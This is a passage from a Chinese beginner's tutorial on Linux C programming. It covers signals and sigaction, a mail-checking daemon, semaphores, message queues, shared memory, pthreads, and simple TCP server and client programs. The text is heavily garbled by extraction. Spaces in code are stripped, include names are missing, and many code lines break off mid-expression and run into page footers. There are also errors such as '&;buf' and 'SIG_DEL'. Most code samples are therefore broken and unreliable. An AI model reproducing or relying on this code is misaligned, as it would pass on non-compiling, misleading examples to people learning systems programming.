#includeintsigemptyset(sigset_t*set);intsigfillset(sigset_t*set);intsigaddset(sigset_t*set,intsigno);intsigdelset(sigset_t*set,intsigno);intsigismember(sigset_t*set,intsigno);intsigprocmask(inthow,constsigset_t*set,sigset_t*oset);sigemptyset函数初始化信号集合set,将set设置为空.
sigfillset也初始化信号集合,只是将信号集合设置为所有信号的集合.
sigaddset将信号signo加入到信号集合之中,sigdelset将信号从信号集合中删除.
sigismember查询信号是否在信号集合之中.
sigprocmask是最为关键的一个函数.
在使用之前要先设置好信号集合set.
这个函数的作用是将指定的信号集合set加入到进程的信号阻塞集合之中去,如果提供了oset那么当前的进程信号阻塞集合将会保存在oset里面.
参数how决定函数的操作方式.
第22页共84页Linux操作系统下c语言编程入门SIG_BLOCK:增加一个信号集合到当前进程的阻塞集合之中.
SIG_UNBLOCK:从当前的阻塞集合之中删除一个信号集合.
SIG_SETMASK:将当前的信号集合设置为信号阻塞集合.
以一个实例来解释使用这几个函数.
#include#include#include#includeintmain(intargc,char**argv){doubley;sigset_tintmask;inti,repeat_factor;if(argc!
=2){fprintf(stderr,"Usage:%srepeat_factor\n\a",argv[0]);exit(1);}if((repeat_factor=atoi(argv[1]))第23页共84页Linux操作系统下c语言编程入门intsigaction(intsigno,conststructsigaction*act,structsigaction*oact);structsigaction{void(*sa_handler)(intsigno);void(*sa_sigaction)(intsiginfo_t*info,void*act);sigset_tsa_mask;intsa_flags;void(*sa_restore)(void);}这个函数和结构看起来是不是有点恐怖呢.
不要被这个吓着了,其实这个函数的使用相当简单的.
我们先解释一下各个参数的含义.
signo很简单就是我们要处理的信号了,可以是任何的合法的信号.
有两个信号不能够使用(SIGKILL和SIGSTOP).
act包含我们要对这个信号进行如何处理的信息.
oact更简单了就是以前对这个函数的处理信息了,主要用来保存信息的,一般用NULL就OK了.
信号结构有点复杂.
不要紧我们慢慢的学习.
sa_handler是一个函数型指针,这个指针指向一个函数,这个函数有一个参数.
这个函数就是我们要进行的信号操作的函数.
sa_sigaction,sa_restore和sa_handler差不多的,只是参数不同罢了.
这两个元素我们很少使用,就不管了.
sa_flags用来设置信号操作的各个情况.
一般设置为0好了.
sa_mask我们已经学习过了在使用的时候我们用sa_handler指向我们的一个信号操作函数,就可以了.
sa_handler有两个特殊的值:SIG_DEL和SIG_IGN.
SIG_DEL是使用缺省的信号操作函数,而SIG_IGN是使用忽略该信号的操作函数.
这个函数复杂,我们使用一个实例来说明.
下面这个函数可以捕捉用户的CTRL+C信号.
并输出一个提示语句.
#include#include#include#include#include#definePROMPT"你想终止程序吗"char*prompt=PROMPT;voidctrl_c_op(intsigno){write(STDERR_FILENO,prompt,strlen(prompt));}intmain(){structsigactionact;act.
sa_handler=ctrl_c_op;sigemptyset(&act.
sa_mask);act.
sa_flags=0;if(sigaction(SIGINT,&act,NULL)#includeintpause(void);intsigsuspend(constsigset_t*sigmask);pause函数很简单,就是挂起进程直到一个信号发生了.
而sigsuspend也是挂起进程只是在调用的时候用sigmask取代当前的信号阻塞集合.
#includeintsigsetjmp(sigjmp_bufenv,intval);voidsiglongjmp(sigjmp_bufenv,intval);还记得goto函数或者是setjmp和longjmp函数吗.
这两个信号跳转函数也可以实现程序的跳转让我们可以从函数之中跳转到我们需要的地方.
由于上面几个函数,我们很少遇到,所以只是说明了一下,详细情况请查看联机帮助.

4.
一个实例还记得我们在守护进程创建的哪个程序吗守护进程在这里我们把那个程序加强一下.
下面这个程序会在也可以检查用户的邮件.
不过提供了一个开关,如果用户不想程序提示有新的邮件到来,可以向程序发送SIGUSR2信号,如果想程序提供提示可以发送SIGUSR1信号.
#include#include#include#include#include#include#include#include#include/*Linux的默任个人的邮箱地址是/var/spool/mail/*/#defineMAIL_DIR"/var/spool/mail/"/*睡眠10秒钟*/#defineSLEEP_TIME10#defineMAX_FILENAME255unsignedcharnotifyflag=1;longget_file_size(constchar*filename)第25页共84页Linux操作系统下c语言编程入门{structstatbuf;if(stat(filename,&;buf)==-1){if(errno==ENOENT)return0;elsereturn-1;}return(long)buf.
st_size;}voidsend_mail_notify(void){fprintf(stderr,"Newmailhasarrived\007\n");}voidturn_on_notify(intsigno){notifyflag=1;}voidturn_off_notify(intsigno){notifyflag=0;}intcheck_mail(constchar*filename){longold_mail_size,new_mail_size;sigset_tblockset,emptyset;sigemptyset(&;blockset);sigemptyset(&;emptyset);sigaddset(&;blockset,SIGUSR1);sigaddset(&;blockset,SIGUSR2);old_mail_size=get_file_size(filename);if(old_mail_size0)send_mail_notify();sleep(SLEEP_TIME);while(1){if(sigprocmask(SIG_BLOCK,&;blockset,NULL)old_mail_size)send_mail_notify;old_mail_size=new_mail_size;sleep(SLEEP_TIME);}}第26页共84页Linux操作系统下c语言编程入门intmain(void){charmailfile[MAX_FILENAME];structsigactionnewact;structpasswd*pw;if((pw=getpwuid(getuid()))==NULL){fprintf(stderr,"GetLoginNameError:%s\n\a",strerror(errno));exit(1);}strcpy(mailfile,MAIL_DIR);strcat(mailfile,pw->pw_name);newact.
sa_handler=turn_on_notify;newact.
sa_flags=0;sigemptyset(&;newact.
sa_mask);sigaddset(&;newact.
sa_mask,SIGUSR1);sigaddset(&;newact.
sa_mask,SIGUSR2);if(sigaction(SIGUSR1,&;newact,NULL)示可以使用.
为了提供效率,系统提供了下面几个函数POSIX的无名信号量的函数有以下几个:#includeintsem_init(sem_t*sem,intpshared,unsignedintvalue);intsem_destroy(sem_t*sem);intsem_wait(sem_t*sem);intsem_trywait(sem_t*sem);intsem_post(sem_t*sem);intsem_getvalue(sem_t*sem);sem_init创建一个信号灯,并初始化其值为value.
pshared决定了信号量能否在几个进程间共享.
由于目前Linux还没有实现进程间共享信号灯,所以这个值只能够取0.
sem_destroy是用来删除信号灯的.
sem_wait调用将阻塞进程,直到信号灯的值大于0.
这个函数返回的时候自动的将信号灯的值的件一.
sem_post和sem_wait相反,是将信号灯的内容加一同时发出信号唤醒等待的进程.
.
sem_trywait和sem_wait相同,不过不阻塞的,当信号灯的值为0的时候返回EAGAIN,表示以后重试.
sem_getvalue得到信号灯的值.
由于Linux不支持,我们没有办法用源程序解释了.
这几个函数的使用相当简单的.
比如我们有一个程序要向一个系统打印机打印两页.
我们首先创建一个信号灯,并使其初始值为1,表示我们有一个资源可用.
然后一个进程调用sem_wait由于这个时候信号灯的值为1,所以这个函数返回,打印机开始打印了,同时信号灯的值为0了.
如果第二个进程要打印,调用sem_wait时候,由于信号灯的值为0,资源不可用,于是被阻塞了.
当第一个进程打印完成以后,调用sem_post信号灯的值为1了,这个时候系统通知第二个进程,于是第二个进程的sem_wait返回.
第二个进程开始打印了.
不过我们可以使用线程来解决这个问题的.
我们会在后面解释什么是线程的.
编译包含上面这几个函数的程序要加上-lrt选贤,以连接librt.
so库2.
SystemV信号量为了解决上面哪个问题,我们也可以使用SystemV信号量.
很幸运的是Linux实现了SystemV信号量.
这样我们就可以用实例来解释了.
SystemV信号量的函数主要有下面几个.
#include#include#includekey_tftok(char*pathname,charproj);intsemget(key_tkey,intnsems,intsemflg);intsemctl(intsemid,intsemnum,intcmd,unionsemunarg);intsemop(intsemid,structsembuf*spos,intnspos);structsembuf{shortsem_num;/*使用那一个信号*/shortsem_op;/*进行什么操作*/shortsem_flg;/*操作的标志*/};ftok函数是根据pathname和proj来创建一个关键字.
semget创建一个信号量.
成功时返回信号的ID,key是一个关键字,可以是用ftok创建的也可以是IPC_PRIVATE表明由系统选用一个关键字.
nsems表明我们创建的信号个数.
semflg是创建的权限标志,和我们创建一个文件的标志相同.
第28页共84页Linux操作系统下c语言编程入门semctl对信号量进行一系列的控制.
semid是要操作的信号标志,semnum是信号的个数,cmd是操作的命令.
经常用的两个值是:SETVAL(设置信号量的值)和IPC_RMID(删除信号灯).

arg是一个给cmd的参数.
semop是对信号进行操作的函数.
semid是信号标志,spos是一个操作数组表明要进行什么操作,nspos表明数组的个数.
如果sem_op大于0,那么操作将sem_op加入到信号量的值中,并唤醒等待信号增加的进程.
如果为0,当信号量的值是0的时候,函数返回,否则阻塞直到信号量的值为0.
如果小于0,函数判断信号量的值加上这个负值.
如果结果为0唤醒等待信号量为0的进程,如果小与0函数阻塞.
如果大于0,那么从信号量里面减去这个值并返回.
.
下面我们一以一个实例来说明这几个函数的使用方法.
这个程序用标准错误输出来代替我们用的打印机.
#include#include#include#include#include#include#include#include#include#include#definePERMSS_IRUSR|S_IWUSRvoidinit_semaphore_struct(structsembuf*sem,intsemnum,intsemop,intsemflg){/*初始话信号灯结构*/sem->sem_num=semnum;sem->sem_op=semop;sem->sem_flg=semflg;}intdel_semaphore(intsemid){/*信号灯并不随程序的结束而被删除,如果我们没删除的话(将1改为0)可以用ipcs命令查看到信号灯,用ipcrm可以删除信号灯的*/#if1returnsemctl(semid,0,IPC_RMID);#endif}intmain(intargc,char**argv){charbuffer[MAX_CANON],*c;inti,n;intsemid,semop_ret,status;第29页共84页Linux操作系统下c语言编程入门pid_tchildpid;structsembufsemwait,semsignal;if((argc!
=2)||((n=atoi(argv[1]))[Process=%d]-->[Parent=%d]-->[Child=%d]\n",i,getpid(),getppid(),childpid);c=buffer;/*这里要求资源,进入原子操作*/while(((semop_ret=semop(semid,&semwait,1))==-1)&&(errno==EINTR));if(semop_ret==-1){fprintf(stderr,"[%d]:DecrementSemaphoreError:%s\n\a",getpid(),strerror(errno));}else{第30页共84页Linux操作系统下c语言编程入门while(*c!
='\0')fputc(*c++,stderr);/*原子操作完成,赶快释放资源*/while(((semop_ret=semop(semid,&semsignal,1))==-1)&&(errno==EINTR));if(semop_ret==-1)fprintf(stderr,"[%d]:IncrementSemaphoreError:%s\n\a",getpid(),strerror(errno));}/*不能够在其他进程反问信号灯的时候,我们删除了信号灯*/while((wait(&status)==-1)&&(errno==EINTR));/*信号灯只能够被删除一次的*/if(i==1)if(del_semaphore(semid)==-1)fprintf(stderr,"[%d]:DestroySemaphoreError:%s\n\a",getpid(),strerror(errno));exit(0);}信号灯的主要用途是保护临界资源(在一个时刻只被一个进程所拥有).
3.
SystemV消息队列为了便于进程之间通信,我们可以使用管道通信SystemV也提供了一些函数来实现进程的通信.
这就是消息队列.
#include#include#includeintmsgget(key_tkey,intmsgflg);intmsgsnd(intmsgid,structmsgbuf*msgp,intmsgsz,intmsgflg);intmsgrcv(intmsgid,structmsgbuf*msgp,intmsgsz,longmsgtype,intmsgflg);intmsgctl(Intmsgid,intcmd,structmsqid_ds*buf);structmsgbuf{longmsgtype;/*消息类型*/其他数据类型*/}msgget函数和semget一样,返回一个消息队列的标志.
msgctl和semctl是对消息进行控制.
.
msgsnd和msgrcv函数是用来进行消息通讯的.
msgid是接受或者发送的消息队列标志.
msgp是接受或者发送的内容.
msgsz是消息的大小.
结构msgbuf包含的内容是至少有一个为msgtype.
其他的成分是用户定义的.
对于发送函数msgflg指出缓冲区用完时候的操作.
接受函数指出无消息时候的处理.
一般为0.
接收函数msgtype指出接收消息时候的操作.
如果msgtype=0,接收消息队列的第一个消息.
大于0接收队列中消息类型等于这个值的第一个消息.
小于0接收消息队列中小于或者等于msgtype绝对值的所有消息中的最小一个消息.
我们以一个实例来解释进程通信.
下面这个程序有server和client组成.
先运行服务端后运行客户端.
服务端server.
c#include第31页共84页Linux操作系统下c语言编程入门#include#include#include#include#include#include#include#include#defineMSG_FILE"server.
c"#defineBUFFER255#definePERMS_IRUSR|S_IWUSRstructmsgtype{longmtype;charbuffer[BUFFER+1];};intmain(){structmsgtypemsg;key_tkey;intmsgid;if((key=ftok(MSG_FILE,'a'))==-1){fprintf(stderr,"CreatKeyError:%s\a\n",strerror(errno));exit(1);}if((msgid=msgget(key,PERM|IPC_CREAT|IPC_EXCL))==-1){fprintf(stderr,"CreatMessageError:%s\a\n",strerror(errno));exit(1);}while(1){msgrcv(msgid,&msg,sizeof(structmsgtype),1,0);fprintf(stderr,"ServerReceive:%s\n",msg.
buffer);msg.
mtype=2;msgsnd(msgid,&msg,sizeof(structmsgtype),0);}exit(0);}----客户端(client.
c)#include#include第32页共84页Linux操作系统下c语言编程入门#include#include#include#include#include#include#defineMSG_FILE"server.
c"#defineBUFFER255#definePERMS_IRUSR|S_IWUSRstructmsgtype{longmtype;charbuffer[BUFFER+1];};intmain(intargc,char**argv){structmsgtypemsg;key_tkey;intmsgid;if(argc!
=2){fprintf(stderr,"Usage:%sstring\n\a",argv[0]);exit(1);}if((key=ftok(MSG_FILE,'a'))==-1){fprintf(stderr,"CreatKeyError:%s\a\n",strerror(errno));exit(1);}if((msgid=msgget(key,PERM))==-1){fprintf(stderr,"CreatMessageError:%s\a\n",strerror(errno));exit(1);}msg.
mtype=1;strncpy(msg.
buffer,argv[1],BUFFER);msgsnd(msgid,&msg,sizeof(structmsgtype),0);memset(&msg,'\0',sizeof(structmsgtype));msgrcv(msgid,&msg,sizeof(structmsgtype),2,0);fprintf(stderr,"Clientreceive:%s\n",msg.
buffer);exit(0);}注意服务端创建的消息队列最后没有删除,我们要使用ipcrm命令来删除的.
4.
SystemV共享内存还有一个进程通信的方法是使用共享内存.
SystemV提供了以下几个函数以实现共享内存.
第33页共84页Linux操作系统下c语言编程入门#include#include#includeintshmget(key_tkey,intsize,intshmflg);void*shmat(intshmid,constvoid*shmaddr,intshmflg);intshmdt(constvoid*shmaddr);intshmctl(intshmid,intcmd,structshmid_ds*buf);shmget和shmctl没有什么好解释的.
size是共享内存的大小.
shmat是用来连接共享内存的.
shmdt是用来断开共享内存的.
不要被共享内存词语吓倒,共享内存其实很容易实现和使用的.
shmaddr,shmflg我们只要用0代替就可以了.
在使用一个共享内存之前我们调用shmat得到共享内存的开始地址,使用结束以后我们使用shmdt断开这个内存.
#include#include#include#include#include#include#include#include#definePERMS_IRUSR|S_IWUSRintmain(intargc,char**argv){intshmid;char*p_addr,*c_addr;if(argc!
=2){fprintf(stderr,"Usage:%s\n\a",argv[0]);exit(1);}if((shmid=shmget(IPC_PRIVATE,1024,PERM))==-1){fprintf(stderr,"CreateShareMemoryError:%s\n\a",strerror(errno));exit(1);}if(fork()){p_addr=shmat(shmid,0,0);memset(p_addr,'\0',1024);strncpy(p_addr,argv[1],1024);exit(0);}else{c_addr=shmat(shmid,0,0);第34页共84页Linux操作系统下c语言编程入门printf("Clientget%s",c_addr);exit(0);}}这个程序是父进程将参数写入到共享内存,然后子进程把内容读出来.
最后我们要使用ipcrm释放资源的.
先用ipcs找出ID然后用ipcrmshmID删除.
后记:进程通信(IPC)是网络程序的基础,在很多的网络程序当中会大量的使用进程通信的概念和知识.
其实进程通信是一件非常复杂的事情,我在这里只是简单的介绍了一下.
如果你想学习进程通信的详细知识,最好的办法是自己不断的写程序和看联机手册.
现在网络上有了很多的知识可以去参考.
可惜我看到的很多都是英文编写的.
如果你找到了有中文的版本请尽快告诉我.
谢谢!
7)Linux程序设计入门--线程操作前言:Linux下线程的创建介绍在Linux下线程的创建和基本的使用.
Linux下的线程是一个非常复杂的问题,由于我对线程的学习不时很好,我在这里只是简单的介绍线程的创建和基本的使用,关于线程的高级使用(如线程的属性,线程的互斥,线程的同步等等问题)可以参考我后面给出的资料.
现在关于线程的资料在网络上可以找到许多英文资料,后面我罗列了许多链接,对线程的高级属性感兴趣的话可以参考一下.
等到我对线程的了解比较深刻的时候,我回来完成这篇文章.
如果您对线程了解的详尽我也非常高兴能够由您来完善.

先介绍什么是线程.
我们编写的程序大多数可以看成是单线程的.
就是程序是按照一定的顺序来执行.
如果我们使用线程的话,程序就会在我们创建线成的地方分叉,变成两个"程序"在执行.
粗略的看来好象和子进程差不多的,其实不然.
子进程是通过拷贝父进程的地址空间来执行的.
而线程是通过共享程序代码来执行的,讲的通俗一点就是线程的相同的代码会被执行几次.
使用线程的好处是可以节省资源,由于线程是通过共享代码的,所以没有进程调度那么复杂.
线程的创建和使用线程的创建是用下面的几个函数来实现的.
#includeintpthread_create(pthread_t*thread,pthread_attr_t*attr,void*(*start_routine)(void*),void*arg);voidpthread_exit(void*retval);intpthread_join(pthread*thread,void**thread_return);pthread_create创建一个线程,thread是用来表明创建线程的ID,attr指出线程创建时候的属性,我们用NULL来表明使用缺省属性.
start_routine函数指针是线程创建成功后开始执行的函数,arg是这个函数的唯一一个参数.
表明传递给start_routine的参数.
pthread_exit函数和exit函数类似用来退出线程.
这个函数结束线程,释放函数的资源,并在最后阻塞,直到其他线程使用pthread_join函数等待它.
然后将*retval的值传递给**thread_return.
由于这个函数释放所以的函数资源,所以retval不能够指向函数的局部变量.
pthread_join和wait调用一样用来等待指定的线程.
下面我们使用一个实例来解释一下使用方法.
在实践中,我们经常要备份一些文件.
下面这个程序可以实现当前目录下的所有文件备份.
备份后的后缀名为bak第35页共84页Linux操作系统下c语言编程入门#include#include#include#include#include#include#include#include#include#include#include#defineBUFFER512structcopy_file{intinfile;intoutfile;};void*copy(void*arg){intinfile,outfile;intbytes_read,bytes_write,*bytes_copy_p;charbuffer[BUFFER],*buffer_p;structcopy_file*file=(structcopy_file*)arg;infile=file->infile;outfile=file->outfile;/*因为线程退出时,所有的变量空间都要被释放,所以我们只好自己分配内存了*/if((bytes_copy_p=(int*)malloc(sizeof(int)))==NULL)pthread_exit(NULL);bytes_read=bytes_write=0;*bytes_copy_p=0;/*还记得怎么拷贝文件吗*/while((bytes_read=read(infile,buffer,BUFFER))!
=0){if((bytes_read==-1)&&(errno!
=EINTR))break;elseif(bytes_read>0){buffer_p=buffer;while((bytes_write=write(outfile,buffer_p,bytes_read))!
=0){if((bytes_write==-1)&&(errno!
=EINTR))break;elseif(bytes_write==bytes_read)break;elseif(bytes_write>0){buffer_p+=bytes_write;bytes_read-=bytes_write;}第36页共84页Linux操作系统下c语言编程入门}if(bytes_write==-1)break;*bytes_copy_p+=bytes_read;}}close(infile);close(outfile);pthread_exit(bytes_copy_p);}intmain(intargc,char**argv){pthread_t*thread;structcopy_file*file;intbyte_copy,*byte_copy_p,num,i,j;charfilename[BUFFER];structdirent**namelist;structstatfilestat;/*得到当前路径下面所有的文件(包含目录)的个数*/if((num=scandir(".
",&namelist,0,alphasort))d_name);if(stat(filename,&filestat)==-1){fprintf(stderr,"GetFileInformation:%s\n\a",strerror(errno));exit(1);}/*我们忽略目录*/if(!
S_ISREG(filestat.
st_mode))continue;if((file[j].
infile=open(filename,O_RDONLY))续前贴第38页共84页Linux操作系统下c语言编程入门8)Linux程序设计入门--网络编程Linux系统的一个主要特点是他的网络功能非常强大.
随着网络的日益普及,基于网络的应用也将越来越多.
在这个网络时代,掌握了Linux的网络编程技术,将令每一个人处于不败之地,学习Linux的网络编程,可以让我们真正的体会到网络的魅力.
想成为一位真正的hacker,必须掌握网络编程技术.
现在书店里面已经有了许多关于Linux网络编程方面的书籍,网络上也有了许多关于网络编程方面的教材,大家都可以去看一看的.
在这里我会和大家一起来领会Linux网络编程的奥妙,由于我学习Linux的网络编程也开始不久,所以我下面所说的肯定会有错误的,还请大家指点出来,在这里我先谢谢大家了.
在这一个章节里面,我会和以前的几个章节不同,在前面我都是概括的说了一下,从现在开始我会尽可能的详细的说明每一个函数及其用法.
好了让我们去领会Linux的伟大的魅力吧!
开始进入网络编程网络编程(1)1.
Linux网络知识介绍1.
1客户端程序和服务端程序网络程序和普通的程序有一个最大的区别是网络程序是由两个部分组成的--客户端和服务器端.
网络程序是先有服务器程序启动,等待客户端的程序运行并建立连接.
一般的来说是服务端的程序在一个端口上监听,直到有一个客户端的程序发来了请求.
1.
2常用的命令由于网络程序是有两个部分组成,所以在调试的时候比较麻烦,为此我们有必要知道一些常用的网络命令netstat命令netstat是用来显示网络的连接,路由表和接口统计等网络的信息.
netstat有许多的选项我们常用的选项是-an用来显示详细的网络状态.
至于其它的选项我们可以使用帮助手册获得详细的情况.
telnettelnet是一个用来远程控制的程序,但是我们完全可以用这个程序来调试我们的服务端程序的.
比如我们的服务器程序在监听8888端口,我们可以用telnetlocalhost8888来查看服务端的状况.
1.
3TCP/UDP介绍TCP(TransferControlProtocol)传输控制协议是一种面向连接的协议,当我们的网络程序使用这个协议的时候,网络可以保证我们的客户端和服务端的连接是可靠的,安全的.

UDP(UserDatagramProtocol)用户数据报协议是一种非面向连接的协议,这种协议并不能保证我们的网络程序的连接是可靠的,所以我们现在编写的程序一般是采用TCP协议的.
.
网络编程(2)第39页共84页Linux操作系统下c语言编程入门2.
初等网络函数介绍(TCP)Linux系统是通过提供套接字(socket)来进行网络编程的.
网络程序通过socket和其它几个函数的调用,会返回一个通讯的文件描述符,我们可以将这个描述符看成普通的文件的描述符来操作,这就是linux的设备无关性的好处.
我们可以通过向描述符读写操作实现网络之间的数据交流.
2.
1socketintsocket(intdomain,inttype,intprotocol)domain:说明我们网络程序所在的主机采用的通讯协族(AF_UNIX和AF_INET等).
AF_UNIX只能够用于单一的Unix系统进程间通信,而AF_INET是针对Internet的,因而可以允许在远程主机之间通信(当我们mansocket时发现domain可选项是PF_*而不是AF_*,因为glibc是posix的实现所以用PF代替了AF,不过我们都可以使用的).
type:我们网络程序所采用的通讯协议(SOCK_STREAM,SOCK_DGRAM等)SOCK_STREAM表明我们用的是TCP协议,这样会提供按顺序的,可靠,双向,面向连接的比特流.
SOCK_DGRAM表明我们用的是UDP协议,这样只会提供定长的,不可靠,无连接的通信.
protocol:由于我们指定了type,所以这个地方我们一般只要用0来代替就可以了socket为网络通讯做基本的准备.
成功时返回文件描述符,失败时返回-1,看errno可知道出错的详细情况.
2.
2bindintbind(intsockfd,structsockaddr*my_addr,intaddrlen)sockfd:是由socket调用返回的文件描述符.
addrlen:是sockaddr结构的长度.
my_addr:是一个指向sockaddr的指针.
在中有sockaddr的定义structsockaddr{unisgnedshortas_family;charsa_data[14];};不过由于系统的兼容性,我们一般不用这个头文件,而使用另外一个结构(structsockaddr_in)来代替.
在中有sockaddr_in的定义structsockaddr_in{unsignedshortsin_family;unsignedshortintsin_port;structin_addrsin_addr;unsignedcharsin_zero[8];我们主要使用Internet所以sin_family一般为AF_INET,sin_addr设置为INADDR_ANY表示可以和任何的主机通信,sin_port是我们要监听的端口号.
sin_zero[8]是用来填充的.
.
bind将本地的端口同socket返回的文件描述符捆绑在一起.
成功是返回0,失败的情况和socket一样2.
3listenintlisten(intsockfd,intbacklog)sockfd:是bind后的文件描述符.
backlog:设置请求排队的最大长度.
当有多个客户端程序和服务端相连时,使用这个表示可以介绍的排队长度.
listen函数将bind的文件描述符变为监听套接字.
返回的情况和bind一样.
2.
4accept第40页共84页Linux操作系统下c语言编程入门intaccept(intsockfd,structsockaddr*addr,int*addrlen)sockfd:是listen后的文件描述符.
addr,addrlen是用来给客户端的程序填写的,服务器端只要传递指针就可以了.
bind,listen和accept是服务器端用的函数,accept调用时,服务器端的程序会一直阻塞到有一个客户程序发出了连接.
accept成功时返回最后的服务器端的文件描述符,这个时候服务器端可以向该描述符写信息了.
失败时返回-12.
5connectintconnect(intsockfd,structsockaddr*serv_addr,intaddrlen)sockfd:socket返回的文件描述符.
serv_addr:储存了服务器端的连接信息.
其中sin_add是服务端的地址addrlen:serv_addr的长度connect函数是客户端用来同服务端连接的.
成功时返回0,sockfd是同服务端通讯的文件描述符失败时返回-1.
2.
6实例服务器端程序服务器程序(server.
c)#include#include#include#include#include#include#include#includeintmain(intargc,char*argv[]){intsockfd,new_fd;structsockaddr_inserver_addr;structsockaddr_inclient_addr;intsin_size,portnumber;charhello[]="Hello!
AreYouFine\n";if(argc!
=2){fprintf(stderr,"Usage:%sportnumber\a\n",argv[0]);exit(1);}if((portnumber=atoi(argv[1]))#include#include#include#include#include#include#includeintmain(intargc,char*argv[]){intsockfd;charbuffer[1024];structsockaddr_inserver_addr;structhostent*host;intportnumber,nbytes;if(argc!
=3){fprintf(stderr,"Usage:%shostnameportnumber\a\n",argv[0]);exit(1);}if((host=gethostbyname(argv[1]))==NULL){fprintf(stderr,"Gethostnameerror\n");exit(1);}if((portnumber=atoi(argv[2]))h_addr);第43页共84页Linux操作系统下c语言编程入门/*客户程序发起连接请求*/if(connect(sockfd,(structsockaddr*)(&server_addr),sizeof(structsockaddr))==-1){fprintf(stderr,"ConnectError:%s\a\n",strerror(errno));exit(1);}/*连接成功了*/if((nbytes=read(sockfd,buffer,1024))==-1){fprintf(stderr,"ReadError:%s\n",strerror(errno));exit(1);}buffer[nbytes]='\0';printf("Ihavereceived:%s\n",buffer);/*结束通讯*/close(sockfd);exit(0);}MakeFile这里我们使用GNU的make实用程序来编译.
关于make的详细说明见Make使用介绍Makefileall:serverclientserver:server.
cgcc$^-o$@client:client.
cgcc$^-o$@运行make后会产生两个程序server(服务器端)和client(客户端)先运行.
/serverportnumber&(portnumber随便取一个大于1204且不在/etc/services中出现的号码就用8888好了),然后运行.
/clientlocalhost8888看看有什么结果.
(你也可以用telnet和netstat试一试.
)上面是一个最简单的网络程序,不过是不是也有点烦.
上面有许多函数我们还没有解释.
我会在下一章进行的详细的说明.
2.
7总结总的来说网络程序是由两个部分组成的--客户端和服务器端.
它们的建立步骤一般是:服务器端socket-->bind-->listen-->accept客户端socket-->connect--网络编程(3)3.
服务器和客户机的信息函数这一章我们来学习转换和网络方面的信息函数.
第44页共84页Linux操作系统下c语言编程入门3.
1字节转换函数在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不同的,比如i386芯片是低字节在内存地址的低端,高字节在高端,而alpha芯片却相反.
为了统一起来,在Linux下面,有专门的字节转换函数.
unsignedlonginthtonl(unsignedlonginthostlong)unsignedshortinthtons(unisgnedshortinthostshort)unsignedlongintntohl(unsignedlongintnetlong)unsignedshortintntohs(unsignedshortintnetshort)在这四个转换函数中,h代表host,n代表network.
s代表shortl代表long第一个函数的意义是将本机器上的long数据转化为网络上的long.
其他几个函数的意义也差不多.
.
3.
2IP和域名的转换在网络上标志一台机器可以用IP或者是用域名.
那么我们怎么去进行转换呢structhostent*gethostbyname(constchar*hostname)structhostent*gethostbyaddr(constchar*addr,intlen,inttype)在中有structhostent的定义structhostent{char*h_name;/*主机的正式名称*/char*h_aliases;/*主机的别名*/inth_addrtype;/*主机的地址类型AF_INET*/inth_length;/*主机的地址长度对于IP4是4字节32位*/char**h_addr_list;/*主机的IP地址列表*/}#defineh_addrh_addr_list[0]/*主机的第一个IP地址*/gethostbyname可以将机器名(如linux.
yessun.
com)转换为一个结构指针.
在这个结构里面储存了域名的信息gethostbyaddr可以将一个32位的IP地址(C0A80001)转换为结构指针.
这两个函数失败时返回NULL且设置h_errno错误变量,调用h_strerror()可以得到详细的出错信息3.
3字符串的IP和32位的IP转换.
在网络上面我们用的IP都是数字加点(192.
168.
0.
1)构成的,而在structin_addr结构中用的是32位的IP,我们上面那个32位IP(C0A80001)是的192.
168.
0.
1为了转换我们可以使用下面两个函数intinet_aton(constchar*cp,structin_addr*inp)char*inet_ntoa(structin_addrin)函数里面a代表asciin代表network.
第一个函数表示将a.
b.
c.
d的IP转换为32位的IP,存储在inp指针里面.
第二个是将32位IP转换为a.
b.
c.
d的格式.
3.
4服务信息函数在网络程序里面我们有时候需要知道端口.
IP和服务信息.
这个时候我们可以使用以下几个函数intgetsockname(intsockfd,structsockaddr*localaddr,int*addrlen)intgetpeername(intsockfd,structsockaddr*peeraddr,int*addrlen)structservent*getservbyname(constchar*servname,constchar*protoname)structservent*getservbyport(intport,constchar*protoname)第45页共84页Linux操作系统下c语言编程入门structservent{char*s_name;/*正式服务名*/char**s_aliases;/*别名列表*/ints_port;/*端口号*/char*s_proto;/*使用的协议*/}一般我们很少用这几个函数.
对应客户端,当我们要得到连接的端口号时在connect调用成功后使用可得到系统分配的端口号.
对于服务端,我们用INADDR_ANY填充后,为了得到连接的IP我们可以在accept调用成功后使用而得到IP地址.
在网络上有许多的默认端口和服务,比如端口21对ftp80对应WWW.
为了得到指定的端口号的服务我们可以调用第四个函数,相反为了得到端口号可以调用第三个函数.
3.
5一个例子#include#include#include#include#includeintmain(intargc,char**argv){structsockaddr_inaddr;structhostent*host;char**alias;if(argch_name);printf("Namealiases:");for(alias=host->h_aliases;*alias!
=NULL;alias++)printf("%s,",*alias);printf("\nIpaddress:");for(alias=host->h_addr_list;*alias!
=NULL;alias++)printf("%s,",inet_ntoa(*(structin_addr*)(*alias)));}}在这个例子里面,为了判断用户输入的是IP还是域名我们调用了两个函数,第一次我们假设输入的是IP所以调用inet_aton,失败的时候,再调用gethostbyname而得到信息.
--网络编程(4)4.
完整的读写函数一旦我们建立了连接,我们的下一步就是进行通信了.
在Linux下面把我们前面建立的通道看成是文件描述符,这样服务器端和客户端进行通信时候,只要往文件描述符里面读写东西了.
就象我们往文件读写一样.
4.
1写函数writessize_twrite(intfd,constvoid*buf,size_tnbytes)write函数将buf中的nbytes字节内容写入文件描述符fd.
成功时返回写的字节数.
失败时返回-1.
并设置errno变量.
在网络程序中,当我们向套接字文件描述符写时有俩种可能.
.
1)write的返回值大于0,表示写了部分或者是全部的数据.
2)返回的值小于0,此时出现了错误.
我们要根据错误类型来处理.
如果错误为EINTR表示在写的时候出现了中断错误.
如果为EPIPE表示网络连接出现了问题(对方已经关闭了连接).
为了处理以上的情况,我们自己编写一个写函数来处理这几种情况.
